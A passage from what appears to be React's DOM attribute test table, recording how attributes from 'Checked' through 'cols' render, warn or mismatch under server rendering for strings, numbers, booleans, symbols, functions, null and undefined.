'on')`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(string 'off')`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(symbol)`| (initial, warning)| `<null>` |\n| `Checked=(function)`| (initial, warning)| `<null>` |\n| `Checked=(null)`| (initial, warning)| `<null>` |\n| `Checked=(undefined)`| (initial, warning)| `<null>` |\n\n## `Children` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `Children=(string)`| (changed, warning)| `\"a string\"` |\n| `Children=(empty string)`| (changed, warning)| `<empty string>` |\n| `Children=(array with string)`| (changed, warning)| `\"string\"` |\n| `Children=(empty array)`| (changed, warning)| `<empty string>` |\n| `Children=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `Children=(numeric string)`| (changed, warning)| `\"42\"` |\n| `Children=(-1)`| (changed, warning)| `\"-1\"` |\n| `Children=(0)`| (changed, warning)| `\"0\"` |\n| `Children=(integer)`| (changed, warning)| `\"1\"` |\n| `Children=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `Children=(float)`| (changed, warning)| `\"99.99\"` |\n| `Children=(true)`| (initial, warning)| `<null>` |\n| `Children=(false)`| (initial, warning)| `<null>` |\n| `Children=(string 'true')`| (changed, warning)| `\"true\"` |\n| `Children=(string 'false')`| (changed, warning)| `\"false\"` |\n| `Children=(string 'on')`| (changed, warning)| `\"on\"` |\n| `Children=(string 'off')`| (changed, warning)| `\"off\"` |\n| `Children=(symbol)`| (initial, warning)| `<null>` |\n| `Children=(function)`| (initial, warning)| `<null>` |\n| `Children=(null)`| (initial, warning)| `<null>` |\n| `Children=(undefined)`| (initial, warning)| `<null>` |\n\n## `children` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `children=(string)`| (initial)| `[]` |\n| `children=(empty string)`| (initial)| `[]` |\n| `children=(array with string)`| (initial)| `[]` |\n| `children=(empty array)`| (initial)| `[]` |\n| `children=(object)`| (changed, error, warning, ssr error)| `` |\n| `children=(numeric string)`| (initial)| `[]` |\n| `children=(-1)`| (initial)| `[]` |\n| `children=(0)`| (initial)| `[]` |\n| `children=(integer)`| (initial)| `[]` |\n| `children=(NaN)`| (initial, warning)| `[]` |\n| `children=(float)`| (initial)| `[]` |\n| `children=(true)`| (initial)| `[]` |\n| `children=(false)`| (initial)| `[]` |\n| `children=(string 'true')`| (initial)| `[]` |\n| `children=(string 'false')`| (initial)| `[]` |\n| `children=(string 'on')`| (initial)| `[]` |\n| `children=(string 'off')`| (initial)| `[]` |\n| `children=(symbol)`| (initial)| `[]` |\n| `children=(function)`| (initial, warning)| `[]` |\n| `children=(null)`| (initial)| `[]` |\n| `children=(undefined)`| (initial)| `[]` |\n\n## `cite` (on `<blockquote>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `cite=(string)`| (changed)| `\"https://reactjs.com/\"` |\n| `cite=(empty string)`| (changed)| `\"http://localhost:3000/\"` |\n| `cite=(array with string)`| (changed)| `\"https://reactjs.com/\"` |\n| `cite=(empty array)`| (changed)| `\"http://localhost:3000/\"` |\n| `cite=(object)`| (changed)| `\"http://localhost:3000/result%20of%20toString()\"` |\n| `cite=(numeric string)`| (changed)| `\"http://localhost:3000/42\"` |\n| `cite=(-1)`| (changed)| `\"http://localhost:3000/-1\"` |\n| `cite=(0)`| (changed)| `\"http://localhost:3000/0\"` |\n| `cite=(integer)`| (changed)| `\"http://localhost:3000/1\"` |\n| `cite=(NaN)`| (changed, warning)| `\"http://localhost:3000/NaN\"` |\n| `cite=(float)`| (changed)| `\"http://localhost:3000/99.99\"` |\n| `cite=(true)`| (initial, warning)| `<empty string>` |\n| `cite=(false)`| (initial, warning)| `<empty string>` |\n| `cite=(string 'true')`| (changed)| `\"http://localhost:3000/true\"` |\n| `cite=(string 'false')`| (changed)| `\"http://localhost:3000/false\"` |\n| `cite=(string 'on')`| (changed)| `\"http://localhost:3000/on\"` |\n| `cite=(string 'off')`| (changed)| `\"http://localhost:3000/off\"` |\n| `cite=(symbol)`| (initial, warning)| `<empty string>` |\n| `cite=(function)`| (initial, warning)| `<empty string>` |\n| `cite=(null)`| (initial)| `<empty string>` |\n| `cite=(undefined)`| (initial)| `<empty string>` |\n\n## `class` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `class=(string)`| (changed, warning)| `\"a string\"` |\n| `class=(empty string)`| (changed, warning)| `<empty string>` |\n| `class=(array with string)`| (changed, warning)| `\"string\"` |\n| `class=(empty array)`| (changed, warning)| `<empty string>` |\n| `class=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `class=(numeric string)`| (changed, warning)| `\"42\"` |\n| `class=(-1)`| (changed, warning)| `\"-1\"` |\n| `class=(0)`| (changed, warning)| `\"0\"` |\n| `class=(integer)`| (changed, warning)| `\"1\"` |\n| `class=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `class=(float)`| (changed, warning)| `\"99.99\"` |\n| `class=(true)`| (initial, warning)| `<null>` |\n| `class=(false)`| (initial, warning)| `<null>` |\n| `class=(string 'true')`| (changed, warning)| `\"true\"` |\n| `class=(string 'false')`| (changed, warning)| `\"false\"` |\n| `class=(string 'on')`| (changed, warning)| `\"on\"` |\n| `class=(string 'off')`| (changed, warning)| `\"off\"` |\n| `class=(symbol)`| (initial, warning)| `<null>` |\n| `class=(function)`| (initial, warning)| `<null>` |\n| `class=(null)`| (initial, warning)| `<null>` |\n| `class=(undefined)`| (initial, warning)| `<null>` |\n\n## `classID` (on `<object>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `classID=(string)`| (changed)| `\"a string\"` |\n| `classID=(empty string)`| (changed)| `<empty string>` |\n| `classID=(array with string)`| (changed)| `\"string\"` |\n| `classID=(empty array)`| (changed)| `<empty string>` |\n| `classID=(object)`| (changed)| `\"result of toString()\"` |\n| `classID=(numeric string)`| (changed)| `\"42\"` |\n| `classID=(-1)`| (changed)| `\"-1\"` |\n| `classID=(0)`| (changed)| `\"0\"` |\n| `classID=(integer)`| (changed)| `\"1\"` |\n| `classID=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `classID=(float)`| (changed)| `\"99.99\"` |\n| `classID=(true)`| (initial, warning)| `<null>` |\n| `classID=(false)`| (initial, warning)| `<null>` |\n| `classID=(string 'true')`| (changed)| `\"true\"` |\n| `classID=(string 'false')`| (changed)| `\"false\"` |\n| `classID=(string 'on')`| (changed)| `\"on\"` |\n| `classID=(string 'off')`| (changed)| `\"off\"` |\n| `classID=(symbol)`| (initial, warning)| `<null>` |\n| `classID=(function)`| (initial, warning)| `<null>` |\n| `classID=(null)`| (initial)| `<null>` |\n| `classID=(undefined)`| (initial)| `<null>` |\n\n## `className` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `className=(string)`| (changed)| `\"a string\"` |\n| `className=(empty string)`| (initial)| `<empty string>` |\n| `className=(array with string)`| (changed)| `\"string\"` |\n| `className=(empty array)`| (initial)| `<empty string>` |\n| `className=(object)`| (changed)| `\"result of toString()\"` |\n| `className=(numeric string)`| (changed)| `\"42\"` |\n| `className=(-1)`| (changed)| `\"-1\"` |\n| `className=(0)`| (changed)| `\"0\"` |\n| `className=(integer)`| (changed)| `\"1\"` |\n| `className=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `className=(float)`| (changed)| `\"99.99\"` |\n| `className=(true)`| (initial, warning)| `<empty string>` |\n| `className=(false)`| (initial, warning)| `<empty string>` |\n| `className=(string 'true')`| (changed)| `\"true\"` |\n| `className=(string 'false')`| (changed)| `\"false\"` |\n| `className=(string 'on')`| (changed)| `\"on\"` |\n| `className=(string 'off')`| (changed)| `\"off\"` |\n| `className=(symbol)`| (initial, warning)| `<empty string>` |\n| `className=(function)`| (initial, warning)| `<empty string>` |\n| `className=(null)`| (initial)| `<empty string>` |\n| `className=(undefined)`| (initial)| `<empty string>` |\n\n## `clip` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `clip=(string)`| (changed)| `\"a string\"` |\n| `clip=(empty string)`| (changed)| `<empty string>` |\n| `clip=(array with string)`| (changed)| `\"string\"` |\n| `clip=(empty array)`| (changed)| `<empty string>` |\n| `clip=(object)`| (changed)| `\"result of toString()\"` |\n| `clip=(numeric string)`| (changed)| `\"42\"` |\n| `clip=(-1)`| (changed)| `\"-1\"` |\n| `clip=(0)`| (changed)| `\"0\"` |\n| `clip=(integer)`| (changed)| `\"1\"` |\n| `clip=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `clip=(float)`| (changed)| `\"99.99\"` |\n| `clip=(true)`| (initial, warning)| `<null>` |\n| `clip=(false)`| (initial, warning)| `<null>` |\n| `clip=(string 'true')`| (changed)| `\"true\"` |\n| `clip=(string 'false')`| (changed)| `\"false\"` |\n| `clip=(string 'on')`| (changed)| `\"on\"` |\n| `clip=(string 'off')`| (changed)| `\"off\"` |\n| `clip=(symbol)`| (initial, warning)| `<null>` |\n| `clip=(function)`| (initial, warning)| `<null>` |\n| `clip=(null)`| (initial)| `<null>` |\n| `clip=(undefined)`| (initial)| `<null>` |\n\n## `clip-path` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `clip-path=(string)`| (changed, warning)| `\"a string\"` |\n| `clip-path=(empty string)`| (changed, warning)| `<empty string>` |\n| `clip-path=(array with string)`| (changed, warning)| `\"string\"` |\n| `clip-path=(empty array)`| (changed, warning)| `<empty string>` |\n| `clip-path=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `clip-path=(numeric string)`| (changed, warning)| `\"42\"` |\n| `clip-path=(-1)`| (changed, warning)| `\"-1\"` |\n| `clip-path=(0)`| (changed, warning)| `\"0\"` |\n| `clip-path=(integer)`| (changed, warning)| `\"1\"` |\n| `clip-path=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `clip-path=(float)`| (changed, warning)| `\"99.99\"` |\n| `clip-path=(true)`| (initial, warning)| `<null>` |\n| `clip-path=(false)`| (initial, warning)| `<null>` |\n| `clip-path=(string 'true')`| (changed, warning)| `\"true\"` |\n| `clip-path=(string 'false')`| (changed, warning)| `\"false\"` |\n| `clip-path=(string 'on')`| (changed, warning)| `\"on\"` |\n| `clip-path=(string 'off')`| (changed, warning)| `\"off\"` |\n| `clip-path=(symbol)`| (initial, warning)| `<null>` |\n| `clip-path=(function)`| (initial, warning)| `<null>` |\n| `clip-path=(null)`| (initial, warning)| `<null>` |\n| `clip-path=(undefined)`| (initial, warning)| `<null>` |\n\n## `clipPath` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `clipPath=(string)`| (changed)| `\"a string\"` |\n| `clipPath=(empty string)`| (changed)| `<empty string>` |\n| `clipPath=(array with string)`| (changed)| `\"string\"` |\n| `clipPath=(empty array)`| (changed)| `<empty string>` |\n| `clipPath=(object)`| (changed)| `\"result of toString()\"` |\n| `clipPath=(numeric string)`| (changed)| `\"42\"` |\n| `clipPath=(-1)`| (changed)| `\"-1\"` |\n| `clipPath=(0)`| (changed)| `\"0\"` |\n| `clipPath=(integer)`| (changed)| `\"1\"` |\n| `clipPath=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `clipPath=(float)`| (changed)| `\"99.99\"` |\n| `clipPath=(true)`| (initial, warning)| `<null>` |\n| `clipPath=(false)`| (initial, warning)| `<null>` |\n| `clipPath=(string 'true')`| (changed)| `\"true\"` |\n| `clipPath=(string 'false')`| (changed)| `\"false\"` |\n| `clipPath=(string 'on')`| (changed)| `\"on\"` |\n| `clipPath=(string 'off')`| (changed)| `\"off\"` |\n| `clipPath=(symbol)`| (initial, warning)| `<null>` |\n| `clipPath=(function)`| (initial, warning)| `<null>` |\n| `clipPath=(null)`| (initial)| `<null>` |\n| `clipPath=(undefined)`| (initial)| `<null>` |\n\n## `clipPathUnits` (on `<clipPath>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `clipPathUnits=(string)`| (changed)| `<number: 2>` |\n| `clipPathUnits=(empty string)`| (initial)| `<number: 1>` |\n| `clipPathUnits=(array with string)`| (changed)| `<number: 2>` |\n| `clipPathUnits=(empty array)`| (initial)| `<number: 1>` |\n| `clipPathUnits=(object)`| (initial)| `<number: 1>` |\n| `clipPathUnits=(numeric string)`| (initial)| `<number: 1>` |\n| `clipPathUnits=(-1)`| (initial)| `<number: 1>` |\n| `clipPathUnits=(0)`| (initial)| `<number: 1>` |\n| `clipPathUnits=(integer)`| (initial)| `<number: 1>` |\n| `clipPathUnits=(NaN)`| (initial, warning)| `<number: 1>` |\n| `clipPathUnits=(float)`| (initial)| `<number: 1>` |\n| `clipPathUnits=(true)`| (initial, warning)| `<number: 1>` |\n| `clipPathUnits=(false)`| (initial, warning)| `<number: 1>` |\n| `clipPathUnits=(string 'true')`| (initial)| `<number: 1>` |\n| `clipPathUnits=(string 'false')`| (initial)| `<number: 1>` |\n| `clipPathUnits=(string 'on')`| (initial)| `<number: 1>` |\n| `clipPathUnits=(string 'off')`| (initial)| `<number: 1>` |\n| `clipPathUnits=(symbol)`| (initial, warning)| `<number: 1>` |\n| `clipPathUnits=(function)`| (initial, warning)| `<number: 1>` |\n| `clipPathUnits=(null)`| (initial)| `<number: 1>` |\n| `clipPathUnits=(undefined)`| (initial)| `<number: 1>` |\n\n## `clip-rule` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `clip-rule=(string)`| (changed, warning)| `\"a string\"` |\n| `clip-rule=(empty string)`| (changed, warning)| `<empty string>` |\n| `clip-rule=(array with string)`| (changed, warning)| `\"string\"` |\n| `clip-rule=(empty array)`| (changed, warning)| `<empty string>` |\n| `clip-rule=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `clip-rule=(numeric string)`| (changed, warning)| `\"42\"` |\n| `clip-rule=(-1)`| (changed, warning)| `\"-1\"` |\n| `clip-rule=(0)`| (changed, warning)| `\"0\"` |\n| `clip-rule=(integer)`| (changed, warning)| `\"1\"` |\n| `clip-rule=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `clip-rule=(float)`| (changed, warning)| `\"99.99\"` |\n| `clip-rule=(true)`| (initial, warning)| `<null>` |\n| `clip-rule=(false)`| (initial, warning)| `<null>` |\n| `clip-rule=(string 'true')`| (changed, warning)| `\"true\"` |\n| `clip-rule=(string 'false')`| (changed, warning)| `\"false\"` |\n| `clip-rule=(string 'on')`| (changed, warning)| `\"on\"` |\n| `clip-rule=(string 'off')`| (changed, warning)| `\"off\"` |\n| `clip-rule=(symbol)`| (initial, warning)| `<null>` |\n| `clip-rule=(function)`| (initial, warning)| `<null>` |\n| `clip-rule=(null)`| (initial, warning)| `<null>` |\n| `clip-rule=(undefined)`| (initial, warning)| `<null>` |\n\n## `clipRule` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `clipRule=(string)`| (changed)| `\"a string\"` |\n| `clipRule=(empty string)`| (changed)| `<empty string>` |\n| `clipRule=(array with string)`| (changed)| `\"string\"` |\n| `clipRule=(empty array)`| (changed)| `<empty string>` |\n| `clipRule=(object)`| (changed)| `\"result of toString()\"` |\n| `clipRule=(numeric string)`| (changed)| `\"42\"` |\n| `clipRule=(-1)`| (changed)| `\"-1\"` |\n| `clipRule=(0)`| (changed)| `\"0\"` |\n| `clipRule=(integer)`| (changed)| `\"1\"` |\n| `clipRule=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `clipRule=(float)`| (changed)| `\"99.99\"` |\n| `clipRule=(true)`| (initial, warning)| `<null>` |\n| `clipRule=(false)`| (initial, warning)| `<null>` |\n| `clipRule=(string 'true')`| (changed)| `\"true\"` |\n| `clipRule=(string 'false')`| (changed)| `\"false\"` |\n| `clipRule=(string 'on')`| (changed)| `\"on\"` |\n| `clipRule=(string 'off')`| (changed)| `\"off\"` |\n| `clipRule=(symbol)`| (initial, warning)| `<null>` |\n| `clipRule=(function)`| (initial, warning)| `<null>` |\n| `clipRule=(null)`| (initial)| `<null>` |\n| `clipRule=(undefined)`| (initial)| `<null>` |\n\n## `color` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `color=(string)`| (changed)| `\"a string\"` |\n| `color=(empty string)`| (changed)| `<empty string>` |\n| `color=(array with string)`| (changed)| `\"string\"` |\n| `color=(empty array)`| (changed)| `<empty string>` |\n| `color=(object)`| (changed)| `\"result of toString()\"` |\n| `color=(numeric string)`| (changed)| `\"42\"` |\n| `color=(-1)`| (changed)| `\"-1\"` |\n| `color=(0)`| (changed)| `\"0\"` |\n| `color=(integer)`| (changed)| `\"1\"` |\n| `color=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `color=(float)`| (changed)| `\"99.99\"` |\n| `color=(true)`| (initial, warning)| `<null>` |\n| `color=(false)`| (initial, warning)| `<null>` |\n| `color=(string 'true')`| (changed)| `\"true\"` |\n| `color=(string 'false')`| (changed)| `\"false\"` |\n| `color=(string 'on')`| (changed)| `\"on\"` |\n| `color=(string 'off')`| (changed)| `\"off\"` |\n| `color=(symbol)`| (initial, warning)| `<null>` |\n| `color=(function)`| (initial, warning)| `<null>` |\n| `color=(null)`| (initial)| `<null>` |\n| `color=(undefined)`| (initial)| `<null>` |\n\n## `color-interpolation` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `color-interpolation=(string)`| (changed, warning)| `\"sRGB\"` |\n| `color-interpolation=(empty string)`| (changed, warning)| `<empty string>` |\n| `color-interpolation=(array with string)`| (changed, warning)| `\"sRGB\"` |\n| `color-interpolation=(empty array)`| (changed, warning)| `<empty string>` |\n| `color-interpolation=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `color-interpolation=(numeric string)`| (changed, warning)| `\"42\"` |\n| `color-interpolation=(-1)`| (changed, warning)| `\"-1\"` |\n| `color-interpolation=(0)`| (changed, warning)| `\"0\"` |\n| `color-interpolation=(integer)`| (changed, warning)| `\"1\"` |\n| `color-interpolation=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `color-interpolation=(float)`| (changed, warning)| `\"99.99\"` |\n| `color-interpolation=(true)`| (initial, warning)| `<null>` |\n| `color-interpolation=(false)`| (initial, warning)| `<null>` |\n| `color-interpolation=(string 'true')`| (changed, warning)| `\"true\"` |\n| `color-interpolation=(string 'false')`| (changed, warning)| `\"false\"` |\n| `color-interpolation=(string 'on')`| (changed, warning)| `\"on\"` |\n| `color-interpolation=(string 'off')`| (changed, warning)| `\"off\"` |\n| `color-interpolation=(symbol)`| (initial, warning)| `<null>` |\n| `color-interpolation=(function)`| (initial, warning)| `<null>` |\n| `color-interpolation=(null)`| (initial, warning)| `<null>` |\n| `color-interpolation=(undefined)`| (initial, warning)| `<null>` |\n\n## `colorInterpolation` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `colorInterpolation=(string)`| (changed)| `\"sRGB\"` |\n| `colorInterpolation=(empty string)`| (changed)| `<empty string>` |\n| `colorInterpolation=(array with string)`| (changed)| `\"sRGB\"` |\n| `colorInterpolation=(empty array)`| (changed)| `<empty string>` |\n| `colorInterpolation=(object)`| (changed)| `\"result of toString()\"` |\n| `colorInterpolation=(numeric string)`| (changed)| `\"42\"` |\n| `colorInterpolation=(-1)`| (changed)| `\"-1\"` |\n| `colorInterpolation=(0)`| (changed)| `\"0\"` |\n| `colorInterpolation=(integer)`| (changed)| `\"1\"` |\n| `colorInterpolation=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `colorInterpolation=(float)`| (changed)| `\"99.99\"` |\n| `colorInterpolation=(true)`| (initial, warning)| `<null>` |\n| `colorInterpolation=(false)`| (initial, warning)| `<null>` |\n| `colorInterpolation=(string 'true')`| (changed)| `\"true\"` |\n| `colorInterpolation=(string 'false')`| (changed)| `\"false\"` |\n| `colorInterpolation=(string 'on')`| (changed)| `\"on\"` |\n| `colorInterpolation=(string 'off')`| (changed)| `\"off\"` |\n| `colorInterpolation=(symbol)`| (initial, warning)| `<null>` |\n| `colorInterpolation=(function)`| (initial, warning)| `<null>` |\n| `colorInterpolation=(null)`| (initial)| `<null>` |\n| `colorInterpolation=(undefined)`| (initial)| `<null>` |\n\n## `color-interpolation-filters` (on `<feComposite>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `color-interpolation-filters=(string)`| (changed, warning)| `\"sRGB\"` |\n| `color-interpolation-filters=(empty string)`| (changed, warning)| `<empty string>` |\n| `color-interpolation-filters=(array with string)`| (changed, warning)| `\"sRGB\"` |\n| `color-interpolation-filters=(empty array)`| (changed, warning)| `<empty string>` |\n| `color-interpolation-filters=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `color-interpolation-filters=(numeric string)`| (changed, warning)| `\"42\"` |\n| `color-interpolation-filters=(-1)`| (changed, warning)| `\"-1\"` |\n| `color-interpolation-filters=(0)`| (changed, warning)| `\"0\"` |\n| `color-interpolation-filters=(integer)`| (changed, warning)| `\"1\"` |\n| `color-interpolation-filters=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `color-interpolation-filters=(float)`| (changed, warning)| `\"99.99\"` |\n| `color-interpolation-filters=(true)`| (initial, warning)| `<null>` |\n| `color-interpolation-filters=(false)`| (initial, warning)| `<null>` |\n| `color-interpolation-filters=(string 'true')`| (changed, warning)| `\"true\"` |\n| `color-interpolation-filters=(string 'false')`| (changed, warning)| `\"false\"` |\n| `color-interpolation-filters=(string 'on')`| (changed, warning)| `\"on\"` |\n| `color-interpolation-filters=(string 'off')`| (changed, warning)| `\"off\"` |\n| `color-interpolation-filters=(symbol)`| (initial, warning)| `<null>` |\n| `color-interpolation-filters=(function)`| (initial, warning)| `<null>` |\n| `color-interpolation-filters=(null)`| (initial, warning)| `<null>` |\n| `color-interpolation-filters=(undefined)`| (initial, warning)| `<null>` |\n\n## `colorInterpolationFilters` (on `<feComposite>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `colorInterpolationFilters=(string)`| (changed)| `\"sRGB\"` |\n| `colorInterpolationFilters=(empty string)`| (changed)| `<empty string>` |\n| `colorInterpolationFilters=(array with string)`| (changed)| `\"sRGB\"` |\n| `colorInterpolationFilters=(empty array)`| (changed)| `<empty string>` |\n| `colorInterpolationFilters=(object)`| (changed)| `\"result of toString()\"` |\n| `colorInterpolationFilters=(numeric string)`| (changed)| `\"42\"` |\n| `colorInterpolationFilters=(-1)`| (changed)| `\"-1\"` |\n| `colorInterpolationFilters=(0)`| (changed)| `\"0\"` |\n| `colorInterpolationFilters=(integer)`| (changed)| `\"1\"` |\n| `colorInterpolationFilters=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `colorInterpolationFilters=(float)`| (changed)| `\"99.99\"` |\n| `colorInterpolationFilters=(true)`| (initial, warning)| `<null>` |\n| `colorInterpolationFilters=(false)`| (initial, warning)| `<null>` |\n| `colorInterpolationFilters=(string 'true')`| (changed)| `\"true\"` |\n| `colorInterpolationFilters=(string 'false')`| (changed)| `\"false\"` |\n| `colorInterpolationFilters=(string 'on')`| (changed)| `\"on\"` |\n| `colorInterpolationFilters=(string 'off')`| (changed)| `\"off\"` |\n| `colorInterpolationFilters=(symbol)`| (initial, warning)| `<null>` |\n| `colorInterpolationFilters=(function)`| (initial, warning)| `<null>` |\n| `colorInterpolationFilters=(null)`| (initial)| `<null>` |\n| `colorInterpolationFilters=(undefined)`| (initial)| `<null>` |\n\n## `color-profile` (on `<image>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `color-profile=(string)`| (changed, warning)| `\"sRGB\"` |\n| `color-profile=(empty string)`| (changed, warning)| `<empty string>` |\n| `color-profile=(array with string)`| (changed, warning)| `\"sRGB\"` |\n| `color-profile=(empty array)`| (changed, warning)| `<empty string>` |\n| `color-profile=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `color-profile=(numeric string)`| (changed, warning)| `\"42\"` |\n| `color-profile=(-1)`| (changed, warning)| `\"-1\"` |\n| `color-profile=(0)`| (changed, warning)| `\"0\"` |\n| `color-profile=(integer)`| (changed, warning)| `\"1\"` |\n| `color-profile=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `color-profile=(float)`| (changed, warning)| `\"99.99\"` |\n| `color-profile=(true)`| (initial, warning)| `<null>` |\n| `color-profile=(false)`| (initial, warning)| `<null>` |\n| `color-profile=(string 'true')`| (changed, warning)| `\"true\"` |\n| `color-profile=(string 'false')`| (changed, warning)| `\"false\"` |\n| `color-profile=(string 'on')`| (changed, warning)| `\"on\"` |\n| `color-profile=(string 'off')`| (changed, warning)| `\"off\"` |\n| `color-profile=(symbol)`| (initial, warning)| `<null>` |\n| `color-profile=(function)`| (initial, warning)| `<null>` |\n| `color-profile=(null)`| (initial, warning)| `<null>` |\n| `color-profile=(undefined)`| (initial, warning)| `<null>` |\n\n## `colorProfile` (on `<image>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `colorProfile=(string)`| (changed)| `\"sRGB\"` |\n| `colorProfile=(empty string)`| (changed)| `<empty string>` |\n| `colorProfile=(array with string)`| (changed)| `\"sRGB\"` |\n| `colorProfile=(empty array)`| (changed)| `<empty string>` |\n| `colorProfile=(object)`| (changed)| `\"result of toString()\"` |\n| `colorProfile=(numeric string)`| (changed)| `\"42\"` |\n| `colorProfile=(-1)`| (changed)| `\"-1\"` |\n| `colorProfile=(0)`| (changed)| `\"0\"` |\n| `colorProfile=(integer)`| (changed)| `\"1\"` |\n| `colorProfile=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `colorProfile=(float)`| (changed)| `\"99.99\"` |\n| `colorProfile=(true)`| (initial, warning)| `<null>` |\n| `colorProfile=(false)`| (initial, warning)| `<null>` |\n| `colorProfile=(string 'true')`| (changed)| `\"true\"` |\n| `colorProfile=(string 'false')`| (changed)| `\"false\"` |\n| `colorProfile=(string 'on')`| (changed)| `\"on\"` |\n| `colorProfile=(string 'off')`| (changed)| `\"off\"` |\n| `colorProfile=(symbol)`| (initial, warning)| `<null>` |\n| `colorProfile=(function)`| (initial, warning)| `<null>` |\n| `colorProfile=(null)`| (initial)| `<null>` |\n| `colorProfile=(undefined)`| (initial)| `<null>` |\n\n## `color-rendering` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `color-rendering=(string)`| (changed, warning)| `\"optimizeSpeed\"` |\n| `color-rendering=(empty string)`| (changed, warning)| `<empty string>` |\n| `color-rendering=(array with string)`| (changed, warning)| `\"optimizeSpeed\"` |\n| `color-rendering=(empty array)`| (changed, warning)| `<empty string>` |\n| `color-rendering=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `color-rendering=(numeric string)`| (changed, warning)| `\"42\"` |\n| `color-rendering=(-1)`| (changed, warning)| `\"-1\"` |\n| `color-rendering=(0)`| (changed, warning)| `\"0\"` |\n| `color-rendering=(integer)`| (changed, warning)| `\"1\"` |\n| `color-rendering=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `color-rendering=(float)`| (changed, warning)| `\"99.99\"` |\n| `color-rendering=(true)`| (initial, warning)| `<null>` |\n| `color-rendering=(false)`| (initial, warning)| `<null>` |\n| `color-rendering=(string 'true')`| (changed, warning)| `\"true\"` |\n| `color-rendering=(string 'false')`| (changed, warning)| `\"false\"` |\n| `color-rendering=(string 'on')`| (changed, warning)| `\"on\"` |\n| `color-rendering=(string 'off')`| (changed, warning)| `\"off\"` |\n| `color-rendering=(symbol)`| (initial, warning)| `<null>` |\n| `color-rendering=(function)`| (initial, warning)| `<null>` |\n| `color-rendering=(null)`| (initial, warning)| `<null>` |\n| `color-rendering=(undefined)`| (initial, warning)| `<null>` |\n\n## `colorRendering` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `colorRendering=(string)`| (changed)| `\"optimizeSpeed\"` |\n| `colorRendering=(empty string)`| (changed)| `<empty string>` |\n| `colorRendering=(array with string)`| (changed)| `\"optimizeSpeed\"` |\n| `colorRendering=(empty array)`| (changed)| `<empty string>` |\n| `colorRendering=(object)`| (changed)| `\"result of toString()\"` |\n| `colorRendering=(numeric string)`| (changed)| `\"42\"` |\n| `colorRendering=(-1)`| (changed)| `\"-1\"` |\n| `colorRendering=(0)`| (changed)| `\"0\"` |\n| `colorRendering=(integer)`| (changed)| `\"1\"` |\n| `colorRendering=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `colorRendering=(float)`| (changed)| `\"99.99\"` |\n| `colorRendering=(true)`| (initial, warning)| `<null>` |\n| `colorRendering=(false)`| (initial, warning)| `<null>` |\n| `colorRendering=(string 'true')`| (changed)| `\"true\"` |\n| `colorRendering=(string 'false')`| (changed)| `\"false\"` |\n| `colorRendering=(string 'on')`| (changed)| `\"on\"` |\n| `colorRendering=(string 'off')`| (changed)| `\"off\"` |\n| `colorRendering=(symbol)`| (initial, warning)| `<null>` |\n| `colorRendering=(function)`| (initial, warning)| `<null>` |\n| `colorRendering=(null)`| (initial)| `<null>` |\n| `colorRendering=(undefined)`| (initial)| `<null>` |\n\n## `cols` (on `<textarea>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `cols=(string)`| (initial)| `<number: 20>` |\n| `cols=(empty string)`| (initial)| `<number: 20>` |\n| `cols=(array with string)`| (initial)| `<number: 20>` |\n| `cols=(empty array)`| (initial)| `<number: 20>` |\n| `cols=(object)`| (initial)| `<number: 20>` |\n| `cols=(numeric string)`| (changed)| `<number: 42>` |\n| `cols=(-1)`| (initial)| `<number: 20>` |\n| `cols=(0)`| (initial)| 